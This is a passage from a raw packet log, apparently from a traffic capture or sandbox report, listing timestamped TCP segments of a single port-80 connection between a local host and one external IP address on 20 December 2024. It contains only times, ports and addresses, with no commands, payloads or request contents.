Dec 20, 2024 21:13:16.942754984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.942828894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.942984104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.943582058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.943676949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.943713903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.944458008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.944509983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.944550037 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.945343018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.945378065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.945436001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.946183920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.946221113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.946285963 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.946486950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.947065115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.947151899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.947971106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.948043108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.948159933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.948806047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.948997021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.949058056 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.949754953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.949891090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.949929953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.950383902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.950572968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.950690985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.950725079 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.951441050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.951534033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.951605082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.952370882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.952450037 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.952507973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.953228951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.953309059 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.953357935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.954102993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.954260111 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.954420090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.954976082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.955008030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.955051899 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.955809116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.955847025 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.955893040 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.956780910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.956820011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.956944942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.957640886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.957681894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.957690954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.958403111 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.958441973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.958590984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.959285975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.959347010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.959373951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.959407091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.960150957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.960251093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.960294962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.964549065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.107517004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.107597113 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.107634068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.107887030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.107986927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.108041048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.108745098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.108830929 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.108838081 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.109394073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.109586000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.109673977 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.109734058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.110460997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.110622883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.110663891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.111294985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.111407042 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.111485004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.111543894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.111543894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.112211943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.112399101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.112824917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.112938881 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.115257978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.115273952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.115292072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.115336895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.115436077 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.115452051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.115468979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.115503073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.115503073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.115503073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.115816116 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.115971088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.116108894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.116137981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.116274118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.116878033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.116981030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.117034912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.117429018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.117783070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.117896080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.117948055 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.118273020 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.118660927 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.118696928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.118767977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.118767977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.119565010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.119584084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.119719982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.119719982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.120439053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.120455027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.120522976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.120522976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.121145010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.121264935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.121299028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.121396065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.121800900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.121922970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.121942997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.122328043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.122646093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.122803926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.122822046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.122948885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.123522997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.123617887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.123627901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.123789072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.124383926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.124520063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.124582052 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.124855042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.127506018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.127624989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.127649069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.127665043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.127681971 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.127697945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.127703905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.127716064 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.127717972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.127782106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.127782106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.128184080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.128201008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.128297091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.129053116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.129242897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.129249096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.130064011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.130141973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.130160093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.130292892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.130836964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.130853891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.131027937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.131680965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.131866932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.132035017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.132555962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.132586956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.132719040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.133451939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.133616924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.133758068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.134315968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.134460926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.134500980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.134721994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.135215044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.135389090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.135598898 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.136095047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.136111975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.136812925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.136888981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.137154102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.137871027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.137887001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.137911081 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.138547897 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.138583899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.138751030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.138789892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.139493942 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.140023947 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.140064955 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.140353918 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.140532017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.140594959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.141170025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.141341925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.141473055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.142194986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.142220974 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.142311096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.142311096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.143091917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.143107891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.143805981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.143981934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.144032001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.144787073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.144933939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.144979000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.145185947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.145623922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.145817041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.145838022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.146063089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.146150112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.146270037 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.146275997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.146446943 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.147730112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.147856951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.147907972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.148113966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.148926020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.149116993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.149127007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.149436951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.149657011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.149673939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.149732113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.149754047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.150013924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.150197983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.150204897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.150279999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.150852919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.151011944 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.151194096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.151736021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.151854038 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.151894093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.152098894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.152618885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.152637005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.152704954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.152704954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.153430939 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.155839920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.299520016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.299566031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.299751043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.299949884 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.300014019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.300040960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.300040960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.300808907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.300893068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.301074982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.301074982 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.301383972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.301793098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.301959038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.301995993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.302586079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.302623034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.302673101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.302707911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.302906036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.303472042 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.303567886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.303591967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.303734064 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.304353952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.304440022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.304485083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.304666996 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.305352926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.305449009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.305470943 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.305814028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.306155920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.306282043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.306313992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.306943893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.306988001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.307271004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.307888985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.308064938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.308402061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.308561087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.308629990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.308717012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.308717012 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.308764935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.309163094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.309495926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.309613943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.309977055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.310503006 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.310587883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.310621023 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.310816050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.311264038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.311362982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.311400890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.312036991 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.312139988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.312196970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.312232018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.312417030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.313024998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.313122034 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.313267946 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.313853979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.313986063 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.313990116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.314332008 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.314737082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.315000057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.315669060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.315706968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.315747023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.316051960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.316518068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.316612959 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.316638947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.316837072 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.317384005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.317478895 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:17.317493916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:17.317742109 CET	49849	80	192.168.2.6	31.41.244.11
